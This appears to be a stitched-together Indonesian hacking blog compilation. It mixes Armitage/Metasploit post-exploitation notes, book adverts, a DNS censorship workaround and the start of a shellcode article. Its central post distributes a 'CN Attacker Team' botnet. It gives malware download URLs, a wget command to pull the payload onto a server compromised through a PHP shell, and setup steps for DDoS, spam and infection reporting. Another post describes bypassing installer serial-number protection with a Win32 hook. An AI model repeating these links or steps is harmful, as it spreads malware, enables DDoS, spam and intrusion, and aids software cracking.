Setelah Anda masuk, Armitage menyediakan beberapa tools yang dibangun pasca-eksploitasi dengan kemampuan dari meterpreter agent. Dengan klik menu Anda akan memperoleh keistimewaan berupa, dump hash password untuk local credentials database, Browse file, dan meluncurkan Command Shell.



Yang terkahir, Armitage membantu proses pengaturan pivoting, yaitu sebuah kemampuan yang memungkinkan Anda menggunakan compromised host sebagai platform untuk menyerang host lain dan menyelidiki lebih lanjut jaringan target dengan kata lain Metasploit bisa meluncurkan serangan dari host yg dikompromikan dan menerima sesi pada host yang sama. Selain itu Armitage juga mengekspos modul SOCKS proxy Metasploit, yang memungkinkan tools eksternal untuk mengambil keuntungan dari pivoting. Dengan tools ini, Anda dapat lebih mengeksplorasi dan melakukan penetrasi maksimal melalui jaringan.

Untuk menggunakan Armitage, Anda memerlukan berikut ini:
* Linux atau Windows
* Java 1.6
* Metasploit Framework 3.5
* Database dikonfigurasi. Pastikan Anda tahu username, password, dan host.


Untuk Mendapatkan Armitage, Silahkan Download disini:

Windows – armitage112510.zip
Linux – armitage112510.tgz

--------------------------------------------------------------------------
Refrensi:
- http://www.fastandeasyhacking.com/manual
- http://www.darknet.org.uk/2010/12/ar...or-metasploit/
- http://www.commonexploits.com/
--------------------------------------------------------------------------
greetz:
- Makassar Ethical Hacker
- STMIK Profesional Makassar
- All crew Jasakom
YM:daengcyber@yahoo.co.id
--------------------------------------------------------------------------

Video Demonstration:


ubuntu 2 : from zero


Ubuntu memang sistem operasi gratis namun tidak semua yang gratis itu biasa-biasa saja atau bahkan tidak bisa mengalahkan sistem operasi berbayar. Ubuntu adalah contohnya ! Buku ini akan menunjukkan kepada Anda bagaimana ubuntu bisa unggul dalam berbagai hal terutama dalam segi visual efek yang semuanya gratis untuk didapatkan.
Pernah melihat layar yang terbakar oleh api dan desktop berbentuk kubus 3D ? Ah, itu masih belum ada apa-apanya. Pada buku ini, Anda akan mempelajari banyak hal yang dasyat pada ubuntu, diantaranya adalah :
  • Bagaimana menginstall OS seperti Microsoft Windows didalam mesin ubuntu
  • Bagaimana menginstall Aplikasi Windows seperti Microsoft Office didalam ubuntu
  • Bagaimana mempermak tampilan ubuntu Anda sehingga mirip Windows 7
  • Bagaimana membuat dekstop Anda kebanjiran atau kebakaran
  • Bagaimana mengeksploitasi tampilan dan visual efek pada ubuntu
  • Dan masih banyak bagaimana bagaimana Lainnya YANG TIDAK PERNAH ANDA BAYANGKAN SEBELUMNYA!
Buku ini merupakan seri lanjutan dari buku yang berjudul “ubuntu : from zero...” yang juga bisa dibaca tanpa melalui buku pertama bila Anda telah memiliki dasar pengetahuan tentang Linux. Buku kedua ini akan menitik beratkan pembahasan tentang modifikasi tampilan, visual efek dan berbagai macam pernak-pernik lainnya yang akan membuat Anda semakin jatuh cinta pada ubuntu.
Judul ubuntu 2 : from zero
Penulis Eri Bowo
ISBN 978-979-1090-44-5
CD Ya
eLearning Tidak
Index Tidak
Halaman 214
Level Semua Level

PERINGATAN PENULIS:
Menggunakan Ubuntu dapat menyebabkan ketagihan, mata berair (karena kelamaan didepan komputer), kekaguman mendadak, jatuh cinta, hingga bangga yang berlebihan...(karena komputernya jadi keren banget). Penulis tidak bertanggung jawab atas efek samping yang ditimbulkan karena buku ini....

FREE : KALENDER LINUX 2011




Release Botnet Versi Beta oleh CN Attacker Team



botnet download url :
http://www.teksan-tekstroy.com/.../.data.tgz (untuk infeksi server 2 keluarga nix)

versi mutant (untuk infeksi windows) :
http://www.magicmodems.net/asian_scandal.exe -> upload ke folder yg sama dg botnet linux
mirror 1: http://teksan-tekstroy.com/.../.data.tgz
mirror 2: http://www.capitaoarce.com.br/media/.data.tgz

Baru-baru ini telah direlease sebuah botnet versi beta oleh Kelompok Attacker dari RRC yang mengatas namakan diri mereka CN Attacker Team (kata mereka di blognya sih masih versi beta).
botnet cn attacker team ini memiliki fungsi2 sbb:
- prolonged ddos ( ddos untuk jangka panjang )
- fungsi untuk para spammer (botnet akan mencari alamat2 email dari 24 search engine untuk dikirimkan pesan spam yang sudah diset oleh spammer)
- dan fungsi harvest server (tiap infeksi akan dilaporkan ke email master yang sudah diset)

Ok kali ini saya akan membahas tentang botnet yang dibuat oleh tim cn attacker dari RRC , botnet ini dibagi 2, yang 1 bertujuan menginfeksi server2 dengan linux / free bsd
dan ada juga versi mutantnya untuk menginfeksi pc 2 dengan os ms windows (blindows).

botnet ini bisa diinstall melalui cpanel / php shell / ssh di server 2 linux yang telah kita susupi.

0. METODE SPREAD BOTNET
ssh, ftp brutus, exploit, web apps , dll

1. INSTALASI
untuk menginstallnya sangat2 mudah sekali, dari php shell misal kita download dulu :

wget http://teksan-tekstroy.com/.../.data.tgz
tar zxvf .data.tgz

setelah itu botnet dan file2nya akan ada di direktori dengan nama .backups, misal alamat php shell di :
http://www.raucherhimmel.de/images/nama_php_shell.php

maka lokasi setup botnet di :

http://www.raucherhimmel.de/images/.backups/


2. SETTING TARGET DOMAIN UNTUK DDOS

setiap kali dipasang botnet ini akan otomatis melakukan ddos, misalnya kita setting untuk melakukan dns attack ke suatu domain:



3. SETTING PESAN SPAM UNTUK SPAMMER



lalu isikan subjek dan pesan spam yang akan kita kirimkan, lalu begitu dirun botnet akan otomatis mencari alamat2 email dari 24 search engine

4. SETTING EMAIL MASTER

fungsi ini kadang mengandung bug , digunakan untuk melaporkan infeksi ke email Anda.



TENTANG VERSI MUTANT DARI BOTNET

versi mutant dari botnet digunakan untuk menginfeksi pc 2 windows dan membantu penyebaran botnet linux. agar versi mutant ini terkirim dalam bentuk attachment , silahkan
upload versi mutant dari botnet ini ke folder yang sama dg folder botnet linux di .backups



botnet download url :
http://mommygrads.com/libraries/.data.tgz

versi mutant (untuk infeksi windows) :
http://www.magicmodems.net/asian_scandal.exe -> upload ke folder yg sama dg botnet linux
mirror 1: http://teksan-tekstroy.com/.../.data.tgz
mirror 2: http://www.sowiesoft.com/.../.data.tgz

Menembus Proteksi Serial Number & Password

Latar belakang
Mungkin dalam keseharian ada di antara kita yang tidak sengaja menghilangkan Password
atau Serial Number dari program yang sudah kita beli. Kalau sudah begitu tentunya repot. Untuk
mendapatkannya kembali bisa saja dengan menghubungi toko retail maupun vendor program
tempat program tersebut dibeli. Namun, jika ada peraturan dari vendor yang mengharuskan
membeli ulang password maupun serial number yang hilang, bagaimana? Bagi Anda mungkin itu
bukan masalah . Tapi bagi Saya itu mungkin salah satu masalah besar.
Dari kasus inilah Saya mencoba menerapkan kegunaan Win32 Hook. Sekedar informasi,
teknik seperti ini sering digunakan oleh para Reverser di dunia Reverse Engineering. Untuk
melakukan debugging file berukuran besar bukan hal yang mudah, memerlukan waktu lama dan
harus didukung dengan hardware yang cukup mewah. Bayangkan saja debugging file berukuran
diatas 100 MB dan didalamnya mengandung Crypto RSA?!?! Kalau Saya sih membayangkan saja
sudah tidak mau, apalagi benar-benar mempraktekkannya.. MALAS!
Paper ini bukanlah sebuah tutorial, tetapi hanyalah sebuah informasi. Implementasi dari
pemikiran Saya dengan menerapkan Win32 Hook. Jadi jangan berharap lebih ya? . Karena disini
Saya tidak mengajak Anda melakukan proses Reverse Engineering ataupun Coding secara
mendalam.. MALAS! . Mungkin lain kali.. tapi gak janji loh..


Teori

Sekedar pengetahuan bagi Anda yang mungkin masih awam dengan istilah pemrograman
dan dunia komputer, serta bagi Anda yang bukan Programmer (karena Anda berarti sama seperti
Saya.. ) Hook atau Win32 Hook merupakan salah satu point mekanisme penanganan pesan
(Message-Handling) di dalam Microsoft Windows. Dimana sebuah aplikasi dapat menginstal suatu
sub-rutin untuk memonitor lalu lintas pesan didalam sistem dan beberapa proses tertentu dari
pesan tersebut sebelum mencapai prosedur jendela target.
Hook itu sendiri termasuk dalam kategori Handles and Object. Dan masuk dalam spesifikasi
User object. Lantas mengapa hal “ANEH” ini diperlukan dalam teknik pemrograman?? Ada 2 alasan..
Pertama, penggunaan obyek dapat memastikan bahwa pengembang
(Developer/Programmer) tidak menulis kode secara spesifik untuk low-level, struktur internal. Hal ini
memungkinkan Microsoft untuk menambahkan atau mengubah kemampuan sistem operasi,
sepanjang pemanggilan konvensi yang asli terjaga. Jadi jika suatu saat Microsoft meluncurkan
Operating System, aplikasi yang dibuat oleh para developer ini akan mendapatkan kemampuan baru
dengan sedikit penambahan atau tidak sama sekali.
Kedua, pemakaian obyek memungkinkan pengembang (Developer/Programmer)
mendapatkan keuntungan dari keamanan Win32. Masing-masing obyek mempunyai daftar kendali
akses sendiri (access-control list /ACL) yang menetapkan jenis-jenis tindakan proses dapat berjalan pada obyek.
Operating System menguji suatu obyek ACL setiap kali sebuah aplikasi mencoba untuk
menciptakan handle pada obyek.


Windows APIs



SetWindowsHookEx (Referensi USER32.DLL)

HHOOK SetWindowsHookEx(
int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle of application instance
DWORD dwThreadId // identity of thread to install hook for
);


CallNextHookEx (Referensi USER32.DLL)

LRESULT CallNextHookEx(
HHOOK hhk, // handle to current hook
int nCode, // hook code passed to hook procedure
WPARAM wParam, // value passed to hook procedure
LPARAM lParam // value passed to hook procedure
);


UnhookWindowsHookEx (Referensi USER32.DLL)

BOOL UnhookWindowsHookEx(
HHOOK hhk // handle of hook procedure to remove
);


Proof of Concept

Jalankan program Enable Hook, Anda akan melihat icon kecil di tray icon dengan caption
“MRHPx Enable Hook OFF”. Program Enable Hook ini telah diuji pada beberapa aplikasi yang
menggunakan proteksi Password maupun Serial Number pada saat installasi, salah satunya adalah
DigiFish AncientOcean v1.01. Tanpa Serial Number yang benar Anda tidak akan dapat melakukan
installasi program karena tombol “Next” dalam status disable (Screen. 1)

Screen 1
Setelah itu coba Anda klik kiri dengan mouse, program Enable Hook yang berada di tray icon sampai
icon dan statusnya berubah menjadi ON (Screen. 2). Tanda berarti OFF, dan tanda berarti ON. Lalu coba klik tombol “Next” disable yang berada di jendela installasi program tadi.
Bagaimana? Statusnya berubah menjadi Enable dan bisa di klik dengan mouse bukan?


Screen 2



Kesimpulan

Mengapa tombol “Next” yang semula disable berubah menjadi enable? Padahal Serial
Number masih kosong, tidak diisi sama sekali? Jawabannya adalah karena di dalam “Handles and
Objects” sebuah aplikasi bisa meraih Obyek-Jendela handle yang ada. Sama halnya dengan Anda
tidak perlu mengganti channel TV manual, sampai harus jalan bolak-balik dari tempat duduk Anda ke
meja TV jika sudah ada remote control di tangan Anda. Jadi meskipun diisi Password dan Serial
Number yang benar ataupun tidak benar sekalipun, installasi akan tetap berjalan lancar. Sampai
disini, Anda sudah melihat kehebatan Win32 Hook bukan. Jadi jangan pernah menganggap remeh
Win32 APIs Hook sebelum mempelajarinya. Bahkan proteksi FLEXlm yang terkenal itupun takluk
karena hal ini. Untuk para developer, apakah masih yakin proteksi program installer Anda ini benar-
benar aman?? Silahkan berkreasi dan berekspresi dengan Win32 APIs. Terima kasih semoga
bermanfaat.


Download link klik disini


MRHPx regards and messages :

  • My family for love, peace and emphaty.. Allah SWT and Muhammad SAW for life, light and everything..
  • Reverse Code Engineering scene, Astalavista.MS, Blackhat Community, 0day, Indonesia veteran hAxx0r (You know who you are.. )
  • Source code semua program atau hack tool (EXCEPT PRIVATE-SECRET TOOLS!) dari seluruh artikel dan rilis NeMeSiS_ByTe dan MRHPx bisa diperoleh dengan cara kontak melalui email baru Saya di atas.. Ehm, sori ganti Nickname sejak 2008 tidak lagi sebagai NeMeSiS_ByTe Juga ganti email, ganti website, ganti peruntungan! Long live reverser..!
PENTING :
  • Jika Anda request software atau tool yang tidak terdapat di website Saya atau sulit didapatkan (baik software gratis atau berbayar), harap mengganti biaya bandwith internet (Download Broadband) dan biaya pengiriman (CD Distribusi Pos). Harap maklum, Saya bukan milyuner yang mempunyai banyak uang, Saya tidak mungkin membiayai setiap request software dan tool yang Anda butuhkan.
  • Untuk keperluan apapun harap menghubungi Saya melalui email Yahoo atau Facebook, karena nomer telpon Saya hanya untuk keperluan bisnis dan pekerjaan. Bukan dipergunakan untuk CHAT dan tanya jawab.
Silakan contact saya:
Email : mrhpx@binushacker.org
Mirror : http://www.binushacker.net/menembus-...al-number.html

Facebook: disini (Tambahkan comment / message sebelum add untuk menghindari spam!)
Untuk file & data update-updatenya silakan lihat DISINI

Written By : MRHPx @ Staff B|H aka Rizal (Formerly NeMeSiS_ByTe)
Written On : May 2o11, Between Pasuruan-Malang, Indonesia
Level : Beginner

SPSS : Serba Serbi Analisis Statistika Dengan Cepat dan Mudah

Product Description

Buku praktis ini mendeskripsikan tentang aplikasi statistika dengan SPSS, program yang sangat popular di kalangan mahasiswa, dosen, para analisis dan periset.
Di dalam buku ini, akan Anda temukan teori pada setiap awal bab, tata cara aplikasi teknik secara lengkap, dan bertahap. Buku ini menarik untuk dibaca karena tidak hanya tahap secara tertulis saja, namun juga disertai dengan gambar hasil dari setiap tahap.
Jadi bagi para pemula yang belum pernah mengenal SPSS akan bisa mengikuti buku ini dengan mudah. Tidak hanya itu saja, pada setiap akhir bab akan disajikan juga latihan soal, yang dinamakan “EXERCISE!!”. Ini merupakan latihan untuk memantapkan dan lebih mendalami aplikasi di setiap bab.
Anda akan menemukan hasil analisis dan inteprestasi. Kegunaan intepretasi hasil adalah untuk pengambilan keputusan. Banyak orang bisa mengaplikasikan dan mengeluarkan angka-angka tanpa mampu menjelaskan arti angka tersebut.
Pada bagian akhir, akan dijumpai beberapa tabel yang mendukung alat analisis yang dibahas di dalamnya, juga disertakan kunci jawaban (hasil dan intepretasi) dari “EXERCISE!!”

Judul SPSS : Serba Serbi Analisis Statistika Dengan Cepat dan Mudah
Penulis Albert Kurniawan, S.E.
ISBN 978-979-1090-49-0
CD Tidak
beli online www.tokomahal.com
Index Tidak
Halaman 144
Level Semua Level


DAFTAR ISI

BAB 1. PENDAHULUAN
Definisi Statistika
Penelitian
Data
Level-Level Pengukuran Data
Nominal
Ordinal
Interval
Rasio
Jenis-Jenis Statistika
1. Statistika Deskriptif
2. Statistika Induktif (Inferensial)



BAB 2. Statistika Deskriptif
Definisi Statistika Deskriptif
Jenis-Jenis Grafik (Chart)
Contoh Soal 1
Contoh Soal 2
EXERCISE (LATIHAN YUK ! )



BAB 3. KORELASI
Pengertian Korelasi
Pedoman Arti Korelasi
Pengertian Korelasi Sederhana (Correlation Bivariate)
Pengertian Korelasi Berganda
Contoh Soal 1
Contoh Soal 2
EXERCISE (LATIHAN YUK ! )



BAB 4. REGRESI
Pengertian Regresi Sederhana
Pengertian Regresi Berganda
Contoh Soal 1
Contoh Soal 2
EXERCISE (LATIHAN YUK ! )



BAB 5. VALIDITAS & RELIABILITAS
Definisi Validitas
Jenis Validitas
Definisi Reliabilitas
Contoh Soal
EXERCISE (LATIHAN YUK ! )



BAB 6. UJI PARAMETRIK
Perbedaan Pengujian Parametrik dan non-Parametrik
Uji One Sample T Test (Uji Satu Sampel)
Ciri-Ciri Uji One Sample T Test (Uji Satu Sampel)
Uji Independent Sample T Test (Uji Dua Sampel Bebas)
Ciri-Ciri Independent Sample T Test (Uji Dua Sampel Bebas)
Contoh Soal
Pengujian Hipotesis
Uji Kesamaan Varian
Uji Selisih Rata-Rata
Uji Paired Sample T Test (Uji Dua Sampel Berpasangan)
Ciri-Ciri Uji Paired Sample T Test (Uji Dua Sampel Berpasangan)
Contoh Soal
EXERCISE (LATIHAN YUK ! )



BAB 7. UJI NON-PARAMETRIK
Uji Chi-Square
Ciri-Ciri Uji Chi-Square
Contoh Soal
EXERCISE (LATIHAN YUK ! )
Uji Binomial
Ciri-Ciri Uji Binomial
Contoh Soal
EXERCISE (LATIHAN YUK ! )
Pertanyaan :
Uji Mann-Whitney
Ciri-Ciri Mann-Whitney
Contoh Soal
EXERCISE (LATIHAN YUK ! )
Pertanyaan :
Uji Wilcoxon
Ciri-Ciri Wilcoxon
Contoh Soal
Format Lembar Jawab dan Hasil Analisis
EXERCISE (LATIHAN YUK ! )

Halaman Lampiran
Kunci Jawaban Exercise
Bab 2
Bab 3
Bab 4
Bab 5
Bab 6
Uji Kesamaan Varian
Uji Selisih Rata-Rata



Bab 7
1. Chi-Square
2. Binomial
3. Mann-Whitney
4. Wilcoxon


Melewati Sensor Internet tanpa menggunakan proxy

Halo para master , saya mau share cara melewati sensor internet tanpa pke proxy nih, saya bru coba bwt di isp speedy, tpi klo bwt isp yg lain saya blm coba. ini langkah2nya :
1. Buka Start Menu
2. Klik Pilih My network place
3. Liat di samping kiri ada Kolom network task nah pilih view network connections
4. Nah pa itu keluar deh Local Area Network klik Kanan Pilih Properties
5. Habis itu pilih Internet Protocol(TCP/IP)
6. Kalo dh kebuka Liat centangan Obtain DNS server adress automatically di ganti centangan'y ke Use The Following DNS Service Adress
7. Masukin deh DNS yg Kosong'y jadi

Quote:
8.8.8.8
trus yang kedua
Quote:
8.8.4.4

Semoga bermanfaat bagi smuanya, maaf ya kalo repost.... saya cman mau berbagi ilmu aja kok

Koleksi Tips Windows 7 : XXX


Product Description

Sebagai sistem operasi pengganti sistem operasi Windows Vista yang dianggap gagal, Windows 7 menawarkan banyak fitur yang menjadikannya terbaik dan pantas untuk menggantikan windows Vista. Windows 7 lebih ringan, cepat, responsif, aman, nyaman dan lebih cantik.
Namun demikian, tanpa penguasaan yang baik, semua kelebihan Windows 7 tersebut tidak bisa Anda nikmati. Kehadiran buku ini akan menjadi penunjuk jalan bagi Anda dalam menjelajahi “kemampuan super” Windows 7. Buku ini menyajikan koleksi Trik dan Tip Windows 7 yang dapat langsung diterapkan ke komputer Anda.
Di antara trik dan tip tersebut adalah Mengembalikan File/Folder Yang Sudah Terhapus, Menjebol Password Windows, Menjalankan Task Manager Yang Sudah Dimatikan Oleh Virus, Mengatur Waktu Padam Layar Monitor, Mem-block Situs Porno, Mematikan Program Yang Hang/Crash, Menjalankan program yang tidak compatible dengan Windows 7 dan Mematikan Notebook Secara Otomatis. Serta masih terdapat lebih dari seratus trik lainnya yang akan Anda dapatkan dengan membeli buku ini.
Trik dan Tip yang terdapat dalam buku ini dikelompokkan ke dalam beberapa kategori sesuai dengan trik dan tip yang sedang dibahas sehingga menjadikan buku ini terbagi ke dalam beberapa bab, yaitu :
  • Personalisasi dan Konfigurasi Sistem
  • Penanganan File dan Folder
  • Konfigurasi Multimedia
  • Konfigurasi Jaringan dan Internet
  • Optimasi Kinerja Sistem
Judul Koleksi Tips Windows 7 : XXX
Penulis Yusmadi,S.Si
ISBN 978-979-1090-48-3
CD Tidak
Beli Online www.tokomahal.com
Index Tidak
Halaman 240
Level Semua Level

DAFTAR ISI

BAB 1. PERSONALISASI DAN KONFIGURASI SISTEM 1
1.1. Mengetahui Fitur Baru Windows 7 1
1.2. Mengganti Desktop Background 3
1.3. Mengganti Desktop Background Dengan Koleksi Foto Pribadi 7
1.4. Mengatur Warna/Tampilan Jendela, Taskbar Dan Menu Start 10
1.5. Mengganti Theme 12
1.6. Menyimpan Perubahan Theme Menjadi Theme Pribadi 13
1.7. Membuat Desktop Shortcut 15
1.8. Mengubah Bentuk Icon Desktop Shortcut 19
1.9. Membuka Aplikasi Dengan Sekali Tekan 20
1.10. Mengatur Ukuran Desktop Shortcut 21
1.11. Mengurutkan Tampilan Desktop Shortcut 22
1.12. Meletakkan Desktop Shortcut Ke Taskbar 23
1.13. Meletakkan Desktop Shortcut Ke Start Menu 24
1.14. Menghapus Desktop Shortcut 24
1.15. Mengubah Nama Desktop Shortcut 25
1.16. Membuat Folder Pada Desktop 25
1.17. Mengatur Ketebalan Taskbar 25
1.18. Mengatur Posisi Taskbar 26
1.19. Mengatur Tampilan Notification Area 28
1.20. Membuat Toolbar Pada Taskbar 30
1.21. Menghapus Toolbar Pada Taskbar 32
1.22. Mencari Program, File Dan Folder 32
1.23. Mengatur Tampilan Komponen-Komponen Start Menu 33
1.24. Mengubah Gambar Pada Start Menu 34
1.25. Mengatur Tampilan Program Dan File Yang Pernah Dibuka 37
1.26. Mempercepat Tampilan Start Menu 39
1.27. Mengubah Fungsi Tombol Power Pada Start Menu 42
1.28. Mengatur Jam, Hari Dan Tanggal 43
1.29. Mengetahui Hari Lahir Anda 45
1.30. Mengaktifkan Bahasa Arab (Arabic) 47
1.31. Menambah Gadgets 50
1.32. Mengatur Tampilan Gadgets 51
Memindahkan Gadget 51
Mengubah Ukuran Gadget 51
Menjadikan Gadgets Selalu Tampil di Atas Jendela Lain 51
1.33. Menghilangkan Gadgets 52
1.34. Mengetahui Edisi Windows 7 Yang Terinstall 52
1.35. Menggunakan Windows 7 Aero 53
1.36. Menampilkan Waktu Internasional Pada Taskbar 55
1.37. Melepas Flash Disk Atau Remove Storage Lainnya Dengan Aman 57
1.38. Mengatur Tampilan Control Panel Dalam Bentuk Menu 58
1.39. Menggunakan Screen Saver 60
Mengubah Animasi Screen Saver 60
Menggunakan Koleksi Foto Pribadi Sebagai Screen Saver 62
Mengunci Layar Ketika Screen Saver Aktif 63
1.40. Mengatur Regional And Language Options 64
Mengubah Format Waktu Sistem Windows 7 64
Mengubah Lokasi Sistem Windows 7 65
Mengaktifkan Input Bahasa Arab 66
1.41. Mengambil Image Yang Tampil Di Layar 68
1.42. Mengatur Waktu Padam Layar Monitor 71
1.43. Menggunakan Menu Run 73
1.44. Menggunakan Tablet PC Input Panel 75
Mengaktifkan Tablet PC Input Panel 75
Keluar Dari Tablet PC Input Panel 76
Mengenal Antarmuka Tablet PC Input Panel 76
Menggunakan Tulisan Tangan 77
Melakukan Input Dengan Tulisan Tangan 77
Menggunakan Video Perbaikan 77
Memperbaiki Teks 78
Mengganti Karakter 78
Menghapus Karakter 79
Menyisip Karakter 79
Menggabungkan Karakter/Kata 79
Mengetik Angka 79
Membuat Simbol 80
Menggunakan Tombol Web 80
Melakukan Input Per Karakter 80
Menggunakan Touch Keyboard 81
1.45. Menggunakan Math Input Panel 81
Mengaktifkan Math Input Panel 82
Keluar Dari Math Input Panel 82
Mengenal Antarmuka Math Input Panel 82
Melakukan Perbaikan Teks 83
Menghilangkan/Menggunakan Garis Bantu 84
1.46. Mengatur Aplikasi Yang Dijalankan Saat Startup Windows 7 84
1.47. Menggunakan Sticky Notes 86
Mengaktifkan Sticky Note 87
Membuat Catatan Baru 87
Menghapus Catatan 88
Mengubah Warna 88
Mengubah Ukuran Kertas Catatan 88
Mengformat Teks Catatan 89
1.48. Mengatur Sound Event Program 89
1.49. Melakukan Drag Tanpa Menekan Tombol Mouse 91
1.50. Menggunakan Fitur Ease Access Center 93
Membuka jendela Ease Access Center 94
Menggunakan Magnifier 95
Menggunakan Narrator 95
Menggunakan On-Screen Keyboard 95
1.51. Tidak Menggunakan Boot Screen 96
1.52. Mengembalikan File/Folder Yang Sudah Dihapus 97
1.53. Menghapus File/Folder Tanpa Konfirmasi 98
1.54. Menghapus Tanpa Recycle Bin 99
1.55. Mengatur Daya Tampung Recycle Bin 99
1.56. Menjalankan Tools Konfigurasi Sistem 100

BAB 2. PENANGANAN FILE DAN FOLDER 101
2.1. Membuat Shortcut File/Folder Pada Desktop 101
2.2. Menampilkan Baris Menu Di Jendela Windows Explorer 102
2.3. Membuat Folder Baru 104
2.4. Menghapus File/Folder 104
2.5. Menghapus File/Folder Secara Permanen 105
2.6. Menjalankan File Dari Windows Explorer 105
2.7. Mengubah Nama File/Folder 106
2.8. Menggandakan File/Folder 106
2.9. Menggandakan File/Folder Ke Flash Disk 107
2.10. Memindahkan File/Folder 107
2.11. Memampatkan (Kompres) Dan Meng-Ekstrak File/Folder 108
2.12. Mengetahui Tanggal Pembuatan File/Folder 108
2.13. Membagi-Bagi File/Folder 109
2.14. Mengembalikan File/Folder Ke Versi Terdahulu 110
2.15. Mengatur Tampilan File/Folder 111
2.16. Menampilkan Panel Preview 112
2.17. Mengubah Tampilan Icon Folder 112
2.18. Mencari File/Folder 113
2.19. Mencari File/Folder Berdasarkan Tanggal Modifikasi 114
2.20. Mencari File/Folder Berdasarkan Ukuran 116
2.21. Mencari File Dengan WildCard Dan Tipe File 117
2.22. Meng-Copy (Burn) File/Folder Ke CD/DVD 118
2.23. Menggunakan Public Folder 119

BAB 3. KONFIGURASI MULTIMEDIA 121
3.1. Mematikan Autoplay Media Dan Devices 121
3.2. Merekam Suara 122
3.3. Menampilkan Baris Menu Pada Windows Media Player 124
3.4. Berpindah Antara Mode Tampilan Windows Media Player 124
Berpindah dari Mode Player Library ke Mode Now Playing 125
Berpindah dari Mode Now Playing ke Mode Player Library 125
Berpindah dari Mode Player Library atau Now Playing ke Mode Skin 126
Berpindah dari Mode Skin ke Mode Player Library 127
Berpindah dari Mode Now Playing ke Mode Full Screen 127
3.5. Menyalin File CD Audio Ke Komputer 127
3.6. Menyalin File Musik Ke CD 130
3.7. Memainkan File Musik 131
3.8. Menambah Item Dalam Windows Media Player Library 132
Menambah folder 132
Penambahan file yang sedang dimainkan 134
Menyalin musik dari CD 134
Men-download musik dan video dari toko online 135
3.9. Menghapus Item Dalam Windows Media Player Library 135
3.10. Membuat Playlist Dalam Windows Media Player Library 136
3.11. Mengatur Ukuran Tampilan Video 137
Mengatur Ukuran Tampilan Video Pada Mode Player Library 137
Mengatur Ukuran Tampilan Video Pada Mode Now Playing 137
3.12. Mengatur Urutan Pembacaan Daftar File Musik 137
3.13. Menjalankan File Musik Dari Website 138
3.14. Mengatur Video Agar Selalu Tampil Di Atas Jendela Lain 139
3.15. Menampilkan Daftar File Musik Pada Mode Now Playing 139

BAB 4. KONFIGURASI JARINGAN DAN INTERNET 141
4.1. Menampilkan Icon IE Pada Desktop 141
4.2. Menampilkan Baris Menu Pada IE 143
4.3. Mengubah Halaman Depan (Home Page) IE 144
4.4. Menambah Halaman Depan (Home Page) IE 144
4.5. Membuat Tab Baru Pada IE 145
4.6. Membuat Jendela Baru Pada IE 145
4.7. Menyimpan Halaman Web Dengan IE 146
4.8. Meng-Edit Halaman Web Dengan Microsoft Word 147
4.9. Menggunakan Zoom Pada IE 147
4.10. Mengatur Ukuran Teks Pada IE 148
4.11. Menampilkan Source Code Pada IE 148
4.12. Menghapus Jejak Browsing Internet Pada IE 149
4.13.Menggunakan Fitur Inprivate Browsing IE 150
4.14.Mengatur Pop-Up Blocker Pada IE 151
4.15.Mengaktifkan Content Advisor 152
4.16.Mem-Block Website “Nakal” Dengan Content Advisor 153
4.17.Membuat Daftar Website Yang Boleh Dikunjungi 154
4.18.Mengatur Tampilan Toolbar Pada IE 155
4.19.Menggunakan Tampilan Full Screen Pada IE 156
4.20.Mengatur Autocomplete Pada IE 157
4.21.Menjadikan IE Sebagai Default Web Browser 158
4.22.Mengatur Status Add-Ons Pada IE 159
4.23.Mengatur Warna Halaman Web Pada IE 160
4.24.Mengatur Margin (Batas Kertas) Pada IE 162
4.25.Mengintip Hasil Cetak (Preview) Pada IE 163
4.26.Mencetak Halaman Web Pada IE 163
4.27.Melihat Status Koneksi Internet 164
4.28.Mendeteksi Permasalahan Koneksi Pada IE 165
4.29.Membuat Koneksi Baru Ke Internet 166

BAB 5. OPTIMASI KINERJA SISTEM 169
5.1. Mematikan Program Yang Crash 169
5.2. Memantau Penggunaan Memori Komputer 170
5.3. Mengetahui Services Yang Sedang Berjalan 171
5.4. Meng-Log Off Komputer Dengan Task Manager 172
5.5. Menjalankan Task Manager Dengan Run 173
5.6. Menjalankan Task Manager Yang Sudah Dilumpuhkan Oleh Virus 173
5.7. Mematikan Services Dengan Msconfig 174
5.8. Mematikan Program Yang Berjalan Saat Startup Windows 7 175
5.9. Menjalankan Program Secara Otomatis Saat Startup 176
5.10.Mengatur Penggunakan Sumber Daya Listrik 179
5.11. Mengatur Fungsi Tombol Power Dan Sleep 182
5.12. Mematikan Laptop Secara Otomatis 184
5.13. Membuat Rencana Penggunaan Sumber Daya Listrik (Power Plan) 186
5.14. Menghapus Rencana Penggunaan Sumber Daya Listrik (Power Plan) 187
5.15. Membangunkan Komputer 188
5.16. Mengatur Cahaya (Brightness) Layar 188
5.17. Menggunakan Windows Mobility Center 191
5.18. Membuat Partisi Baru Di Hard Disk 192
5.19. Memeriksa Memori Komputer 198
5.20. Menjalankan Program Yang Tidak Compatible Dengan Windows 7 199
5.21. Menilai Kinerja Perangkat Keras Dalam Menjalankan Fitur-Fitur Windows 7 201
5.22. Menampilkan Informasi Sistem Komputer 203
5.23. Menggunakan Disk Defragmenter 205
5.24. Menggunakan Disk Cleanup 209
5.25. Mengatur Sistem Operasi Default Pada Dual-Boot System 210
5.26. Mengatur Default Program 212
5.27. Mendeteksi Masalah Pada Komputer 215
5.28. Mematikan/Menghidupkan Fitur Windows 7 217
5.29. Menjebol Password Windows 7 218
Membuat Password Reset Disk 219
Menggunakan Password Reset Disk 221

Bermain main dengan heap dan stack di FreeBSD 32 bit

=========Bermain main dengan heap dan stack di FreeBSD 32 bit===============
Writer: mywisdom
New Team : devilzc0de.org
Article Level : for beginner
Old Team : http://web.archive.org/web/200408100...x/aboutus.html
"Curr3ntly d3v3l0p1ng b0tn3t to 1nf3ct w1n,l1nux and bsd for var1ous 4tt4ck 1nclud1ng r3fl3ct3d 4tt4cks (alr3ady more than 2 years, why ? 1 p3rs0n 0nly m4k1ng th1s)"
------------------------------------------
content:
- Foreword
- Bermain main dengan Heap di FreeBSD 8.2 (malloc, sys_brk)
- Valgrind & Alleyoop Memory Checker di linux 32 bit
- Bermain main dengan Stack di FreeBSD 8.2
- Bonus Stage #1: Cara Membuat shellcode di freebsd 8.2
- Closing

-[ Foreword ]-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
Mohon maaf yang sebesar2nya krn terbatasnya waktu jd di sini tidak disajikan artikel yang lengkap dan mendetail dan hanya ditujukan untuk pemula yg ingin
bermain2 dengan heap dan stack di freebsd dan linux.

